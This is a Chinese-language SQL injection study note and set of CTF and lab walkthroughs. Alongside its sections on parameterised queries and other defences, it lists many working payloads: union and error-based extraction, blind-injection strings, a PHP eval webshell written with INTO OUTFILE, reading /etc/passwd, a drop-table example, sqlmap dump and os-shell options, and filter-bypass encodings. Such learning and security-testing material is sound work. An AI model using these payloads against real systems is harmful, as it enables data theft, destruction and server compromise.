SQL Injection
SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者通过在输入字段中插入恶意 SQL 代码,欺骗后端数据库执行非预期的查询,从而获取、篡改或删除数据。
1. SQL注入原理
Web应用通常通过拼接字符串的方式构造SQL查询,例如:
python
username = request.GET['username']
password = request.GET['password']
sql = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
如果用户输入 admin' --,则SQL变为:
SQL
SELECT * FROM users WHERE username='admin' -- ' AND password='anything'
最后执行:
sql
SELECT * FROM users WHERE username='admin' --
-- 是SQL注释符,会忽略后续代码,从而绕过密码验证直接登录。
核心原因:未对用户输入进行充分过滤或转义,直接拼接到SQL语句中,改变了原语句的语义。
**前置知识:**之前学习了在SQL注入测试中,像 and 1=1 和 and 1=2 这样的语句片段------
- 如果加上
and 1=1查询结果不变。 - 如果加上
and 1=2查询结果为空,说明我们成功影响了SQL查询。
这就是"注入判断"的基础: 通过人为拼接SQL条件,观测结果上的差异,从而确认是否可以注入
Tips:为什么数字型注入时,不需要使用注释?
- 数字型参数后面本身没有引号,所以直接拼接
and ...就可以继续SQL语句,不会引起语法错误。 - 只有在字符串型注入时,破坏了引号配对,往往才需要注释符闭合(如-- 或 #),来防止后面多余的SQL语句报错。
- 结论:数字型注入无需加注释,因为SQL拼接没有剩余引号或内容,无需担心语法问题。
小结:数字型注入直接拼接条件,无需闭合引号,是初学者最容易上手的注入方式之一。
2. SQL注入的危害
- 绕过认证:如登录后台、越权访问。
- 窃取数据:拖库获取敏感信息(用户表、信用卡等)。
- 篡改数据:插入、更新、删除数据。
- 执行文件操作:读写文件(需数据库权限)。
- 命令执行 :通过
xp_cmdshell(SQL Server)或udf(MySQL)执行系统命令。 - 拒绝服务:消耗数据库资源。
3. 常见SQL注入类型及实战手法
3.1 联合查询注入(UNION-based)
利用UNION运算符合并两条SELECT语句,获取额外数据。
前提:原查询与联合查询的字段数相同,且页面能显示结果。
步骤:
- 判断字段数 :
order by 1,order by 2...直到出错,确定列数。 - 寻找显示位 :
union select 1,2,3...,观察页面哪个位置显示数字。 - 爆数据库信息 :
union select 1,database(),version() - 爆表名 :
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() - 爆字段 :
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' - 爆数据 :
union select 1,group_concat(username,':',password),3 from users
示例URL :http://example.com/news.php?id=-1 union select 1,2,group_concat(username,0x3a,password) from users
3.2 报错注入(Error-based)
通过构造引发数据库报错的语句,从错误信息中提取数据。
常用函数(MySQL):
updatexml(1,concat(0x7e,(SELECT password FROM users LIMIT 1),0x7e),1)extractvalue(1,concat(0x7e,(SELECT database()),0x7e))floor(rand(0)*2)配合group by产生主键重复错误。
示例 :http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
3.3 布尔盲注(Boolean-based blind)
页面不回显数据,但会根据SQL真假返回不同结果(如200与404)。通过构造条件判断,逐字符猜解数据。
常用函数:
length(database())判断长度substr(database(),1,1)='a'或ascii(substr(database(),1,1))>97
手工过程:
- 判断数据库名长度:
?id=1 and length(database())=8页面正常 → 长度8。 - 猜第一个字符:
?id=1 and ascii(substr(database(),1,1))>97→ 正常 → 继续二分法。 - 最终得到数据库名。
3.4 时间盲注(Time-based blind)
页面无任何差异,只能通过延时判断。使用sleep()或benchmark()。
时间盲注适用于页面不会返回错误信息,只会回显一种界面,主要是利用sleep、exp等函数,制造时间延迟来判断是否报错1' and if(1=1,sleep(3),1)#
示例 :?id=1 and if(ascii(substr(database(),1,1))>97, sleep(3), 0)
3.5 堆叠查询注入(Stacked queries)
某些数据库支持多条SQL语句执行(如PHP+MySQL使用mysqli_multi_query)。可以插入;后执行任意语句。
示例 :?id=1; drop table users; --
限制:并非所有环境都支持(如PDO默认不支持多语句)。
3.6 二阶注入(Second-order injection)
恶意数据先存入数据库,后续在另一功能中被拼接到SQL中触发。例如注册用户名admin'--,修改密码时后台拼接该用户名导致注入。
4. 实战应用场景
场景1:登录绕过
输入:admin' OR '1'='1 密码任意。
对应SQL:SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='xxx'
由于OR优先级问题,实际可能绕过(取决于数据库)。更常见使用注释:admin'--。
场景2:获取数据库版本
?id=1 union select 1,version(),3
场景3:获取所有数据库名
?id=1 union select 1,group_concat(schema_name),3 from information_schema.schemata
场景4:文件读取(MySQL)
?id=1 union select 1,load_file('/etc/passwd'),3
需要secure_file_priv不为NULL,且有文件读权限。
场景5:写入Webshell
?id=1 union select 1,"<?php @eval($_POST[1]);?>",3 into outfile "/var/www/html/shell.php"
要求有写权限且知道绝对路径。
5. 自动化工具:sqlmap
常用命令
bash
# 检测注入点
sqlmap -u "http://example.com/news.php?id=1"
# 获取数据库
sqlmap -u "http://example.com/news.php?id=1" --dbs
# 获取表
sqlmap -u "http://example.com/news.php?id=1" -D database_name --tables
# 获取字段
sqlmap -u "http://example.com/news.php?id=1" -D database_name -T users --columns
# 获取数据
sqlmap -u "http://example.com/news.php?id=1" -D database_name -T users --dump
# 指定注入技术(布尔、时间等)
sqlmap -u "http://example.com/news.php?id=1" --technique=BT
sqlmap -u "http://hbc2.haobachang.com:48431/check?id=1" \
--level=5 --risk=2 \
--flush-session --batch \
--tamper=space2comment \
--random-agent \
-D sql_injection_lab -T flag --dump
常用参数
--cookie="PHPSESSID=xxx":携带认证信息--data="username=admin&password=123":POST请求-r request.txt:从Burp请求文件加载--level 3 --risk 2:增加检测深度--os-shell:尝试获取系统shell
6. 防御措施
6.1 根本防御:参数化查询(预编译)
使用预处理语句,将SQL结构与用户数据分离。
PHP PDO示例:
php
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
Python(MySQLdb):
python
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
6.2 输入验证与过滤
- 对预期为整数的输入强制类型转换:
intval($_GET['id']) - 使用白名单验证,如枚举值。
- 转义特殊字符(但不如预编译安全),如
mysqli_real_escape_string。
6.3 最小权限原则
数据库连接账户只授予必要权限(如只读、不能写文件)。
6.4 错误处理
关闭详细错误回显,避免泄露数据库信息。
6.5 WAF(Web应用防火墙)
部署WAF拦截常见注入payload,但可被绕过,不能作为唯一防御。
7. 绕过技巧(CTF/渗透中常见)
- 注释符 :
--,#,/*...*/,-- - - 内联注释 :
/*!50000union*/ select(用于绕过简单过滤) - 大小写混合 :
UnIoN sElEcT - 双写绕过 :
UNIunionON过滤掉union后剩下UNION - 编码绕过:URL编码、双重URL编码、Unicode编码
- 空格替代 :
/**/,+,%0a,%0c等 - 函数替代 :
substr()可换mid()、left()等 - 宽字节注入 :针对GBK编码,在
'前加%df使转义符失效。
8. 实战案例(以CTF题目为例)
-
题目:一个新闻页面,参数
id,存在SQL注入,目标是获取flag。正确的步骤:
1. 测试注入点
?id=1' -- 页面报错 → 存在字符型注入,需要闭合单引号 ?id=1' --+ -- 页面恢复正常 → 确认闭合方式是单引号2. 判断字段数
?id=1' order by 1 --+ -- 正常 ?id=1' order by 2 --+ -- 正常 ?id=1' order by 3 --+ -- 正常 ?id=1' order by 4 --+ -- 报错 → 字段数为33. 确定回显位置
?id=-1' union select 1,2,3 --+ -- 页面显示2和34. 爆数据库名
?id=-1' union select 1,database(),3 --+ -- 得到数据库名 websec5. 爆表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='websec' --+ -- 得到 users,flag6. 爆字段名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag' --+ -- 得到 flag7. 拿flag
?id=-1' union select 1,flag,3 from flag --+ -- 得到flag值完整的注入payload对比
步骤 数字型注入 字符型注入 测试 ?id=1'报错?id=1'报错闭合测试 ?id=1 and 1=1?id=1' and '1'='1' --+判断字段 ?id=1 order by 3?id=1' order by 3 --+联合查询 ?id=-1 union select 1,2,3?id=-1' union select 1,2,3 --+注释 不需要 --+或#或/*为什么需要
--+?在URL中:
--是SQL注释+在URL中被解析为空格- 所以
--+实际上就是--(注释后加空格)
其他注释方式:
--+(MySQL)#(MySQL)%23(#的URL编码)/*(多行注释)
-
sql注入-POST类型注入-1
所有输入无回显,使用报错注入
' and updatexml(1,concat(0x7e,database(),0x7e),1) --有报错:查询错误: (1105, "XPATH syntax error: '~sql_injection_lab~'"),得到数据库~sql_injection_lab~SHOW DATABASES是一个管理命令(Statement),不是表达式(Expression)。在 MySQL/MariaDB 中,
concat()、updatexml()等函数的括号内,只能接受值、列名、或返回标量值的SELECT子查询 。解析器在这里遇到了SHOW关键字,但期望的是字段名,于是直接报 1064 语法错误,updatexml根本轮不到执行。正确的写法(两种方案)
方案一:使用
information_schema查询所有数据库(推荐)将
(show databases)改写为标准的SELECT子查询sql' and updatexml(1,concat(0x7e,(SELECT group_concat(schema_name) FROM information_schema.schemata),0x7e),1) --方案二:分页爆出(解决 32 字符截断问题)
如果数据库非常多,
group_concat拼接后超过 32 字符会被截断。强烈建议配合LIMIT和substring逐个爆出:sql-- 爆出第一个数据库名(逐段截取,每次取30位) ' and updatexml(1,concat(0x7e, substring((SELECT schema_name FROM information_schema.schemata LIMIT 0,1), 1, 30), 0x7e),1) --将
1, 30改为31, 30、61, 30......即可获取完整名称。查当前库下的所有表名
将
LIMIT 0,1中的0改为1、2、3... 可以遍历出所有表。sql' and updatexml(1,concat(0x7e, substring((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), 1, 30), 0x7e),1) --' and updatexml(1,concat(0x7e, substring((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), 1, 30), 0x7e),1) --的回显是查询错误: (1105, "XPATH syntax error: '~flag~'")查某张表(找到的
flag表)里的列名第一步查到了表名为
flagsql' and updatexml(1,concat(0x7e, substring((SELECT column_name FROM information_schema.columns WHERE table_name="flag" AND table_schema=database() LIMIT 1,1), 1, 30), 0x7e),1) --结果:
查询错误: (1105, "XPATH syntax error: '~flag~'")查 flag 数据
' and updatexml(1,concat(0x7e, substring((SELECT flag FROM flag LIMIT 0,1), 1, 30), 0x7e),1) --重点:如何完整取出超过 32 位的 Flag?
由于
updatexml只返回前 32 字符,需要分段拼接 。上面语句报错返回了~flag{1234...(前半段),接着修改substring的起始位置:- 读第 1~30 位 :
substring((SELECT flag FROM flag LIMIT 0,1), 1, 30) - 读第 31~60 位 :
substring((SELECT flag FROM flag LIMIT 0,1), 31, 30) - 读第 61~90 位 :
substring((SELECT flag FROM flag LIMIT 0,1), 61, 30)
依此类推,直到报错内容不再返回数据(或返回空),就说明已经读完。
- 读第 1~30 位 :
-
报错注入-sql注入-数字型
确定是数字型,进行列验证:
1 order by 6,报错,证明有五行#爆数据库 1 union select 1,2,3,4,database() # 1 2 3 4 sql_injection_lab # 爆表名 1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database() # 1 users,flag 3 4 5 # 爆字段 1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='flag' # 1 id,flag 3 4 5 # 爆数据 1 union select 1,group_concat(flag),3,4,5 from flag # 1 flag{73b26857435b4895ad29fff900c1e33e} 3 4 5 -
sql注入-字符型-1
输入
1'报错(1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'')' at line 1")其中的''1'')'需要看成''1'')' 左右的'是报错输出的闭合,应忽略1'是输入,输入的左边是',右边是')所以使用')进行闭合1') order by 8 -- # 查询错误: (1054, "Unknown column '8' in 'ORDER BY'") # 共7列 1') union select 1,2,3,4,5,6,7 -- # ID 姓名 邮箱 部门 薪资 电话 地址 # 1 2 3 4 5 6 7 1') union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database() -- # users,flag 2 3 4 5 6 7 1') union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_name='flag' -- # id,flag 1') union select group_concat(flag),2,3,4,5,6,7 from flag -- # flag{b84b5c13a16a4c508f9d0d0dcdd6540a} 2 3 4 5 6 7输入
1"报错(1064, 'You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near \'"1""\' at line 1')左右的\'是报错输出的闭合,应忽略1"是输入,输入的左边是",右边是"所以使用"进行闭合 -
sql注入-布尔盲注
1 AND (SELECT LENGTH(DATABASE())) = {猜测数据库长度} 1 AND (SELECT SUBSTRING(DATABASE(), 1, 1)) = '{猜测字符}' # 尝试构造语句查询数据库中是否存在flag表。 1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='sql_injection_lab' AND table_name='flag') = 1 # 开始查询flag是否存在 1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='sql_injection_lab' AND table_name='flag' AND column_name='flag') = 1 # 爆破flag的值 1 AND LENGTH((SELECT flag FROM sql_injection_lab.flag)) = {猜测长度} # 开始爆破内容 1 AND (SELECT SUBSTRING((SELECT flag FROM sql_injection_lab.flag LIMIT 0, 1), {位数}, 1)) ='{替换字符}'
一、实验详情
【实验名称】
联合查询注入
【实验提示】
拿到目标网站数据库权限,获取数据库数据,找到flag
【实验目的】
1、学习联合查询注入的原理
2、学习联合查询注入的方式方法
3、了解SQL注入的防御方式
【实验原理】
本实验主要介绍SQL注入之联合查询注入,SQL注入漏洞就是指Web应用程序对用户输入的数据没有细致地过滤,前端传入后端的参数是攻击者可控的,通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句。
【实验工具】
1、chrome-hackbar
二、前置知识
1、SQL注入漏洞发现和利用
2、联合查询注入的流程
三、实验步骤
1、首先访问靶机地址。
2、选择个人介绍,在这里发现存在SQL注入漏洞,此处有SQL语句提示。
3、打开hackbar,在hackbar中加单引号测试,发现这里产生数据库报错,证明此处与数据库有交互:
4、使用联合查询注入进行测试,获取数据库数据。
(1)判断注入点类型。
1' and 1=1 -- - true
1' and 1=2 -- - false
以上payload传入目标网站后,完整拼接后的SQL语句如下:
select * from users where id ='1' and 1=1 -- - true
select * from users where id ='1' and 1=2 -- - false
执行1' and 1=1 -- -,发现页面返回正常。
执行1' and 1=2 -- -,发现页面返回不正常,无回显。
说明当前页面存在字符型的SQL注入漏洞。
(2)查字段
1' order by 2 -- -
以上payload传入目标网站后,完整拼接后的SQL语句如下:
select * from users where id ='1' order by 2-- -
使用order by语句猜字段,查询到2列返回正常,查询第3列时提示不存在,如下:
(3)判断显示数据位置
-1' union select 1,2 -- -
以上payload传入目标网站后,完整拼接后的SQL语句如下:
select * from users where id ='-1' union select 1,2 -- -
发现第2列会显示数据。
(4)爆库
-1' union select 1,database() -- -
以上payload传入目标网站后,完整拼接后的SQL语句如下:
select * from users where id ='-1' union select 1,database() -- -
爆出数据库为:cloversec
(5)爆表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- -
以上payload传入目标网站后,完整拼接后的SQL语句如下:
select * from users where id ='-1' union select 1,table_name from information_schema.tables where table_schema=database() -- -
爆出数据表为:f14g
(6)爆列
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name="f14g" -- -
以上payload传入目标网站后,完整拼接后的SQL语句如下:
select * from users where id ='-1' union select 1,group_concat(column_name) from information_schema.columns where table_name="f14g" -- -
爆出数据列为:f14g
(8)获取列数据
-1' union select 1,f14g from f14g -- -
以上payload传入目标网站后,完整拼接后的SQL语句如下:
select * from users where id ='-1' union select 1,f14g from f14g -- -
得到flag。
总结
学习总结
- SQL注入的根本目的:目的是绕过网站身份验证,其本质是"让后端执行了本不该执行的SQL语句"。
- 数字型和字符型的区别:数字型注入点直接拼接数值,不需要引号包裹;字符型注入点会拼接在引号之中,注入时需"闭合字符串"并用注释去除尾部内容。
- 判断SQL注入的方法论 :通过构造不同的输入,辨别是否存在注入点。例如:字符型用
' and 1=1 --,数字型用1 and 1=1。
小知识
- SQL注入通常从数据拼接方式角度,分为:
- 数字型注入 :参数为纯数字,直接拼接进SQL,不加引号,注入时方法直接拼写payload。
- 字符型注入 :参数会被单/双引号包裹,注入时需自己用
' --闭合字符串并注释尾部内容。